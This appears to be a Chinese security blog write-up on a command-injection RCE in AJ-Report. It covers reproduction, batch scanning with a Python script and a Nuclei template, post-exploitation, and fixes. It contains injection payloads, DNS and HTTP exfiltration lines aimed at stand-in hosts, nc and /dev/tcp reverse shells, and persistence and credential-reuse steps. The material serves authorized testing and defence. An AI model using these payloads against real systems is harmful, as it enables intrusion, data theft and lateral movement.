
1. 项目概述从一次批量扫描到AJ-Report的RCE漏洞发现最近在梳理一些开源项目的安全状况做资产测绘和批量漏洞验证时一个名为AJ-Report的数据可视化大屏项目引起了我的注意。这项目在GitHub上星星不少不少企业用它来做内部的数据展示看板。我的工作流里对于这类流行的Java开源应用通常会先进行一轮基础的指纹识别和版本匹配然后丢进自动化扫描器跑一遍最后再对高风险点进行人工复核。就在这么一套组合拳下来AJ-Report的一个端点触发了我的告警规则深入跟进去一看好家伙一个妥妥的远程命令执行漏洞而且利用起来并不复杂。这个漏洞的本质是应用在处理某些特定参数时未对用户输入进行充分的过滤和校验导致攻击者能够注入并执行操作系统命令。对于一款数据大屏应用来说这种漏洞的危害性是顶格的。想象一下攻击者不需要知道任何后台密码仅仅通过前端访问某个特定功能页面提交一段精心构造的数据就能在服务器上为所欲为查看文件、下载数据库、植入后门、甚至作为跳板攻击内网其他机器。这完全背离了其“数据展示”的初衷变成了一个高危的风险敞口。这篇文章我就来详细拆解这个漏洞的来龙去脉。我会从漏洞的成因、影响版本、如何一步步构造利用载荷再到如何在实战渗透测试中批量、自动化地发现此类漏洞以及最重要的——修复和防御建议做一个全面的分享。无论你是安全研究人员、渗透测试工程师还是负责运维这类系统的开发或运维同学相信都能从中获得一些实用的参考。2. 漏洞核心原理与影响范围深度解析2.1 AJ-Report项目简介与漏洞入口点AJ-Report是一个基于SpringBoot的轻量级开源数据可视化大屏构建工具。它允许用户通过拖拽配置的方式快速连接多种数据源生成各种图表和报表。由于其开源和易用性在一些中小型企业的内部BI系统中有所应用。漏洞出现在其文件处理相关的接口中。在早期的某些版本里项目为了提供一些便捷的文件操作功能如在线安装字体、预览文件等开放了接收外部文件路径或命令参数的接口。问题的核心在于参数注入。当应用接收到用户可控的输入并直接将此输入拼接至操作系统命令字符串中然后通过Runtime.getRuntime().exec()或类似的ProcessBuilder方式执行时漏洞就产生了。例如一个原本用于“读取指定路径日志文件”的功能其后台代码可能简化为String cmd “tail -f ” userInputPath;。如果userInputPath是用户从前端传入的且未做任何过滤那么攻击者传入/tmp/1.log; id; #最终执行的命令就变成了tail -f /tmp/1.log; id; #。分号;在Linux Shell中意味着命令分隔#是注释符这样id命令就被成功注入并执行了。2.2 漏洞利用链与命令执行上下文理解漏洞的利用链关键在于弄清楚用户输入是如何“流转”的。在AJ-Report的特定漏洞案例中攻击路径通常不是直来直去的。它可能涉及多个步骤前端触发攻击者首先需要找到一个前端界面或API接口该接口接受一个参数比如fileName、filePath、scriptContent等。参数传递这个参数通过HTTP请求GET或POST发送到后端Controller。后端处理后端的某个Service方法接收到参数并可能进行一些简单的校验如是否为空、后缀名检查但缺少了对命令分隔符如;、、|、\n、反引号 、$()的过滤。危险拼接该方法将用户参数与固定的命令字符串进行拼接。这是最危险的一步。例如一个字体安装功能可能调用系统命令java -jar fontTool.jar install -f [userInput]。执行与回显拼接后的字符串被传入Runtime.exec()。执行结果有时会直接返回给前端如文件列表、执行日志有时则无回显。有回显的漏洞利用起来更直观无回显的则需要通过DNS外带、HTTP请求或延时判断等方式进行盲注。影响范围方面该漏洞影响了AJ-Report某个历史版本区间的所有部署实例。只要未升级到已修复的安全版本且该漏洞接口可被外部网络访问或虽在内网但攻击者可通过其他方式进入内网那么该系统就处于高风险状态。由于数据大屏系统往往需要连接核心数据库其所在服务器的权限和网络位置通常都比较重要一旦被攻破极易导致敏感数据泄露和进一步的内网渗透。注意在渗透测试中对于此类漏洞的利用必须严格在授权范围内进行。未经授权对任何系统进行漏洞探测和利用都是违法行为。3. 手工复现与漏洞利用细节拆解为了更清晰地理解漏洞我们搭建一个受影响的测试环境进行手工复现。这里我使用一个漏洞靶场环境模拟存在漏洞的AJ-Report版本。3.1 测试环境搭建与漏洞点定位首先你需要一个目标。可以从历史版本仓库下载存在漏洞的AJ-Report版本源码本地编译运行或者直接寻找包含此漏洞的在线靶场。假设我们目标的访问地址是http://target-ip:8080/aj-report。漏洞点通常藏在文件管理、数据源测试、脚本执行等功能模块。通过浏览前端页面配合对浏览器开发者工具中网络请求的抓包我们可以寻找可疑的接口。常见的可疑接口路径可能包含/file/read、/exec、/install、/test等关键词。更直接的方法是如果能有源码直接搜索代码中的Runtime.getRuntime().exec、ProcessBuilder、GroovyShell、ScriptEngine等关键词能快速定位潜在风险点。假设我们通过分析发现一个用于“检查服务器连接”的接口POST /aj-report/api/dataSource/testConnection。其请求参数如下{ “type”: “mysql”, “ip”: “127.0.0.1”, “port”: “3306”, “command”: “ping -c 1 [user_input_ip]” }注意这里的command字段虽然前端可能固定为ping命令但后端是否直接使用了command字段的全部内容去执行呢又或者ip字段被直接拼接进了command字符串3.2 逐步构造与发送攻击载荷我们假设最坏的情况后端代码逻辑是String fullCommand “ping -c 1 ” ip;然后执行Runtime.getRuntime().exec(fullCommand);。那么我们的攻击载荷就构造在ip参数里。第一步基础命令注入测试我们发送一个正常的请求但把ip参数改为127.0.0.1; whoami。curl -X POST http://target-ip:8080/aj-report/api/dataSource/testConnection \ -H “Content-Type: application/json” \ -d ‘{“type”:“mysql”,“ip”:“127.0.0.1; whoami”,“port”:“3306”,“command”:“ping -c 1 127.0.0.1”}’如果后端存在漏洞且未过滤分号那么服务器将依次执行ping -c 1 127.0.0.1和whoami。我们需要观察响应。如果响应中包含了当前系统用户的名称如root或者响应时间明显变长因为执行了whoami则证明注入成功。第二步处理空格与参数分割有时命令注入会遇到空格被过滤或编码的问题。我们可以尝试不使用空格或者使用其他空白符如${IFS}在bash中代表内部字段分隔符、%09制表符的URL编码来替代。 例如ip127.0.0.1;cat${IFS}/etc/passwd第三步突破无回显限制——外带技术如果命令执行了但结果不返回在HTTP响应中无回显我们就需要让目标服务器主动把结果发送到我们可控的接收服务器上。DNS外带利用nslookup或dig命令将执行结果作为子域名的一部分发送到我们拥有的域名DNS服务器上通过查看DNS日志获取结果。载荷示例ip127.0.0.1; nslookup \whoami.your-domain.comHTTP外带利用curl或wget命令将命令执行结果作为HTTP请求的参数或Body发送到我们控制的Web服务器。载荷示例ip127.0.0.1; curl http://your-server.com/leak?data$(whoami|base64)第四步获取交互式Shell在确认命令可执行后为了更方便地操作我们通常会尝试获取一个反向Shell。即在目标服务器上执行命令让其主动连接我们监听的一个网络端口。# 在攻击机上监听一个端口例如4444 nc -lvnp 4444 # 构造注入载荷让目标机连接我们假设目标有nc命令 ip127.0.0.1; nc your-attack-ip 4444 -e /bin/bash如果目标没有nc可以尝试使用bash、python、php、perl等语言的一行代码反弹Shell。例如使用baship127.0.0.1; bash -c ‘bash -i /dev/tcp/your-attack-ip/4444 01’实操心得在实际测试中目标的网络出口策略可能禁止外连或者容器内缺少常用的网络工具。因此准备多种Payload如不同语言、不同格式的反连命令并优先尝试DNS外带信息收集是提高成功率的关键。同时时刻注意你的操作是否在授权范围内避免对业务造成影响。4. 批量漏洞挖掘的自动化策略与实践在渗透测试或安全巡检中面对成百上千的资产手工一个个测试是不现实的。我们需要将上述手工测试的思路转化为自动化的扫描脚本或集成到扫描器中。4.1 资产发现与指纹识别批量挖掘的第一步是找到目标。我们需要收集所有可能使用了AJ-Report的资产。网络空间测绘利用Fofa、Shodan、ZoomEye等平台使用特征关键词进行搜索。例如搜索title“AJ-Report”、header“AJ-Report”、body“大屏设计器”或者特定静态资源路径如/aj-report/static/。这些平台的API可以帮助我们批量获取IP和端口列表。流量分析与日志审计在企业内网可以通过分析边界设备如WAF、负载均衡的访问日志寻找访问路径中包含/aj-report的请求从而发现内部使用的资产。子域名与端口扫描对于已知的域名使用工具如subfinder、amass进行子域名枚举再结合naabu、masscan、nmap进行端口扫描重点探测8080、80、443等Web服务端口。获取到目标列表后进行快速的指纹识别确认其是否为AJ-Report以及大致版本。可以通过访问特定路径如/aj-report/login查看页面标题和特征。获取/aj-report/static/version.txt或类似文件如果存在。分析HTTP响应头中的X-Powered-By或Server字段有时会泄露框架信息。使用工具如Wappalyzer浏览器插件或WhatWeb、EHole等命令行工具进行识别。4.2 编写自动化探测与利用脚本确认目标后编写Python脚本进行批量漏洞验证。这里给出一个简化的逻辑框架import requests import sys from concurrent.futures import ThreadPoolExecutor def check_vuln(url): 检测单个目标是否存在AJ-Report RCE漏洞 vuln_api “/aj-report/api/dataSource/testConnection” # 假设的漏洞端点 target_url url.rstrip(‘/’) vuln_api # 一个无害的探测Payload用于判断注入点是否存在并观察响应特征 # 例如执行‘sleep 5’通过响应时间判断 headers {‘Content-Type’: ‘application/json’} # Payload 1: 基于时间的盲注探测 payload_time {“type”:“mysql”, “ip”:“127.0.0.1; sleep 5”, “port”:“3306”} try: resp requests.post(target_url, jsonpayload_time, headersheaders, timeout10) # 如果响应时间远大于5秒说明sleep命令可能被执行了 # 注意这里需要更精确的时间测量实际脚本中应记录请求开始和结束时间 except requests.exceptions.Timeout: print(f“[] {url} 可能存在基于时间的命令注入 (Timeout after sleep)”) return (url, “Potential Time-Based RCE”) # Payload 2: 带外DNS探测更可靠但需要配置DNS服务器 # 此处省略DNS外带检测代码... # Payload 3: 尝试有回显的简单命令需谨慎避免破坏性命令 payload_echo {“type”:“mysql”, “ip”:“127.0.0.1; echo vulnerable”, “port”:“3306”} try: resp requests.post(target_url, jsonpayload_echo, headersheaders, timeout5) if ‘vulnerable’ in resp.text: print(f“[!!!] {url} 确认存在命令注入漏洞”) return (url, “Confirmed RCE”) except Exception as e: pass print(f“[-] {url} 未发现明显漏洞特征”) return (url, “Not Vulnerable”) def main(target_list_file): with open(target_list_file, ‘r’) as f: targets [line.strip() for line in f if line.strip()] # 使用线程池并发检测控制并发数避免对目标造成过大压力 with ThreadPoolExecutor(max_workers10) as executor: results list(executor.map(check_vuln, targets)) # 输出结果报告 with open(‘scan_results.csv’, ‘w’) as f: f.write(“Target,Status\n”) for url, status in results: f.write(f”{url},{status}\n”) if __name__ ‘__main__’: if len(sys.argv) ! 2: print(“Usage: python scanner.py target_list.txt”) sys.exit(1) main(sys.argv[1])脚本要点解析多Payload策略脚本依次尝试基于时间延迟、DNS外带、回显判断等多种检测方式提高准确性减少误报和漏报。无害化探测初始探测使用sleep、ping localhost、echo test等无害命令避免对目标业务造成影响。这是渗透测试的道德和法律底线。并发控制使用线程池提高效率但必须限制并发数如10-20避免对目标服务器造成拒绝服务攻击DoS。结果记录将结果结构化输出如CSV便于后续分析和报告撰写。4.3 集成到现有扫描器框架对于专业的安全团队更常见的做法是将此漏洞的检测逻辑集成到现有的自动化扫描框架中如Nuclei、Xray、Goby等。以Nuclei模板为例我们可以编写一个YAML格式的检测模板id: aj-report-rce-cve-xxxx-xxxx info: name: AJ-Report Remote Command Execution author: your_name severity: critical description: | A remote command execution vulnerability exists in AJ-Report due to improper input validation in the XXX interface. reference: - https://github.com/anji-plus/report/issues/xxx tags: rce,aj-report requests: - method: POST path: - “{{BaseURL}}/aj-report/api/dataSource/testConnection” headers: Content-Type: application/json body: ‘{“type”:“mysql”,“ip”:“127.0.0.1; echo ‘nuclei_rce_test_{{randstr}}‘”,“port”:“3306”}’ matchers: - type: word words: - “nuclei_rce_test_” part: body这个模板定义了一个HTTP请求如果响应体中包含我们注入的随机字符串就判定为存在漏洞。使用Nuclei可以方便地对大规模目标进行批量、快速的检测。注意事项自动化扫描是一把双刃剑。务必在获得明确授权的前提下进行。扫描频率和并发度要设置合理避免触发目标的WAF或IDS的防护规则更不要对生产环境造成性能冲击。最好在测试环境或漏洞靶场上验证脚本的准确性和稳定性。5. 漏洞修复方案与安全加固建议发现漏洞不是终点推动修复、消除风险才是安全工作的价值所在。对于AJ-Report的这个RCE漏洞以及同类命令注入漏洞修复和加固需要从开发和安全运维两个层面入手。5.1 官方修复方案与版本升级最根本的解决方案是升级到官方已修复的安全版本。开源项目的安全响应流程通常是研究者报告漏洞 - 官方确认并修复 - 发布新版本和安全公告。因此第一步是密切关注AJ-Report项目的官方GitHub仓库、Release页面和安全公告。修复的核心代码逻辑通常包括输入白名单校验对于文件路径、主机名等参数严格定义允许的字符集如字母、数字、点、短横线、下划线拒绝任何包含命令分隔符的输入。避免直接拼接命令弃用Runtime.exec(String command)这种形式。如果必须执行系统命令应使用Runtime.exec(String[] cmdarray)将命令和参数分开传递。例如// 错误做法存在注入风险 String userInput request.getParameter(“ip”); String cmd “ping -c 1 ” userInput; Runtime.getRuntime().exec(cmd); // 正确做法参数分离 String userInput request.getParameter(“ip”); // 对userInput进行严格的合法性校验如是否为合法IP格式 if (!isValidIP(userInput)) { throw new IllegalArgumentException(“Invalid IP address”); } String[] cmd {“ping”, “-c”, “1”, userInput}; Runtime.getRuntime().exec(cmd);这样即使用户输入是127.0.0.1; id它也会被整体当作ping命令的第四个参数而不会被解析为新的命令。使用安全的API替代评估是否真的需要执行系统命令。很多文件操作、网络测试功能完全可以用Java原生的API如java.nio.file.Files、java.net.Socket来实现从根本上杜绝命令注入的可能。最小权限原则运行AJ-Report的Java进程应该使用一个专用的、低权限的系统用户而不是root。这样即使被注入命令攻击者能造成的破坏也有限。升级操作步骤备份当前版本的所有配置文件、数据库连接信息和已创建的大屏项目数据。从官方仓库获取最新的稳定版发布包。仔细阅读新版本的升级文档特别注意是否有不兼容的变更。在测试环境进行完整的部署和功能验证。制定回滚方案然后在业务低峰期对生产环境进行升级。5.2 临时缓解措施与安全配置如果因种种原因无法立即升级可以采取一些临时缓解措施来降低风险WAFWeb应用防火墙规则在流量入口处部署WAF并配置针对命令注入攻击的特征规则。例如检测请求参数中是否包含;、|、、反引号、$(等危险字符以及bash、cmd、powershell等敏感关键词。但要注意这可能会产生误报且高级攻击者可能通过编码、混淆绕过规则。网络访问控制严格限制访问AJ-Report管理后台的源IP地址只允许运维人员或特定管理网络的IP访问。如果该功能仅限内网使用确保其不暴露在公网。系统层加固沙箱/容器化部署将AJ-Report应用部署在Docker容器中并配置严格的安全策略如readonly根文件系统、无特权的用户、禁用不必要的内核功能限制容器内命令执行的影响范围。系统命令限制通过Linux的seccomp、AppArmor或SELinux等安全模块限制Java进程可以执行的系统调用和命令即使被注入也无法执行危险操作。命令执行日志审计启用并集中收集系统的命令执行日志如auditd监控由Java进程发起的异常命令执行行为。5.3 安全开发规范与SDL实践从长远看防止此类漏洞再次发生需要将安全融入开发流程Security Development Lifecycle, SDL。安全编码培训对开发团队进行定期的安全编码培训重点讲解OWASP Top 10漏洞特别是注入类漏洞的原理、危害和防范方法。代码审计与白盒扫描在代码提交CI环节集成静态应用安全测试工具如SonarQube、Checkmarx、Fortify SCA等自动检测代码中的Runtime.exec、ProcessBuilder等危险函数调用并标记未经验证的用户输入。依赖组件安全管理使用软件成分分析工具持续监控项目依赖的第三方库是否存在已知漏洞并及时更新。建立漏洞响应机制团队内部应明确漏洞从接收、验证、修复到发布的流程确保在出现安全问题时能快速响应。对于运维和安全人员定期对线上系统进行授权下的漏洞扫描和渗透测试是发现潜在风险的必备手段。将AJ-Report这类自建系统的漏洞检测模板纳入常规的扫描任务中做到主动发现及时预警。6. 渗透测试中的深度利用与后渗透思路在授权渗透测试中一旦通过此RCE漏洞获得了初始立足点一个命令执行shell我们的工作远未结束。接下来的目标是深入内网获取关键数据验证漏洞的实际危害。这里分享一些常规的后渗透思路请务必记住所有这些操作都必须在获得明确书面授权的范围内进行。6.1 信息收集与权限提升拿到一个Shell后首先需要了解我们所处的环境。系统信息执行uname -a查看内核版本cat /etc/os-release查看系统发行版id和whoami查看当前用户权限。如果是root那权限提升步骤就省了但这种情况在容器或良好配置的系统里较少见。网络信息ifconfig或ip addr查看网络配置和IP地址。netstat -antp或ss -tulnp查看当前网络连接和监听端口判断目标主机上运行的其他服务以及是否存在内网网卡。进程与服务ps aux查看所有进程寻找数据库、中间件、备份任务等敏感进程。systemctl list-units或service --status-all查看系统服务。敏感文件与配置检查当前目录、用户家目录、/tmp、/var/log等位置是否有敏感文件。查找应用配置文件如application.yml,application.properties里面往往包含数据库密码、API密钥等。权限提升如果当前不是root尝试寻找提权路径。检查sudo -l看当前用户能以root身份执行哪些命令。查找具有SUID权限的可执行文件find / -perm -us -type f 2/dev/null看看是否有已知的提权漏洞如利用find、vim、nmap等。上传并运行LinPEAS或LinEnum这样的Linux本地提权信息枚举脚本可以自动化地发现很多提权线索。6.2 内网横向移动与数据获取如果目标服务器处于内网那么它很可能是一个通往更核心区域的跳板。内网网段发现通过ip route查看路由表arp -a查看ARP缓存或者上传一个轻量级的扫描工具如nmap静态编译版对内网网段如192.168.0.0/24、10.0.0.0/8进行快速扫描发现存活主机和开放端口。凭证窃取与重用数据库如果从AJ-Report配置文件中找到了数据库连接密码尝试用这个密码去连接内网的其他数据库服务如MySQL、Redis。很多人会在多套环境中使用相同或相似的密码。SSH密钥检查~/.ssh/目录下是否有id_rsa、id_dsa等私钥文件。如果有尝试用它登录其他内网机器ssh -i id_rsa userhost。历史命令与文件查看.bash_history文件里面可能包含其他服务器的访问命令和密码明文输入的情况虽然少但并非没有。寻找脚本、备份文件、文档里面也可能含有密码。部署持久化后门为了维持访问在授权测试中通常需要证明持久化攻击的可能性可能会添加一个计划任务crontab -e、创建一个新的系统用户、或者植入一个Webshell到AJ-Report的静态目录下。注意在真实渗透测试中这些操作必须与客户明确约定并在测试结束后彻底清理。6.3 漏洞利用的边界与报告撰写在整个过程中必须时刻牢记测试的边界。时间边界严格在客户约定的时间窗口内进行测试。范围边界绝不测试授权书IP列表之外的任何资产。操作边界避免使用破坏性Payload如rm -rf /、dd破坏磁盘避免对业务系统造成数据篡改、服务中断等影响。优先使用只读命令进行信息收集。数据边界对获取到的任何敏感数据包括但不限于配置文件、数据库内容、用户信息必须严格保密仅在测试报告中使用必要的脱敏摘要作为证明测试结束后应按照约定安全销毁。一份优秀的渗透测试报告不仅仅是漏洞列表更是风险与解决方案的桥梁。报告应包含执行摘要用非技术语言向管理层说明发现的主要风险、潜在业务影响和整体安全状况。测试范围与方法明确测试了哪些系统、使用了哪些方法黑盒/白盒。漏洞详情对每个漏洞如本次AJ-Report RCE提供清晰的描述、风险等级、受影响资产、复现步骤请求/响应截图、漏洞原理分析。影响证明提供漏洞被利用后的截图或证据如执行whoami、ifconfig的命令回显证明漏洞的真实性和危害性。修复建议提供具体、可操作的修复方案包括立即的临时缓解措施和长期的根治方案如代码修复、配置变更、架构调整。附录可以包含一些技术细节、扫描工具输出、参考链接等。通过这样一份报告才能将技术发现有效地转化为驱动安全改进的行动力真正帮助企业提升其安全水位。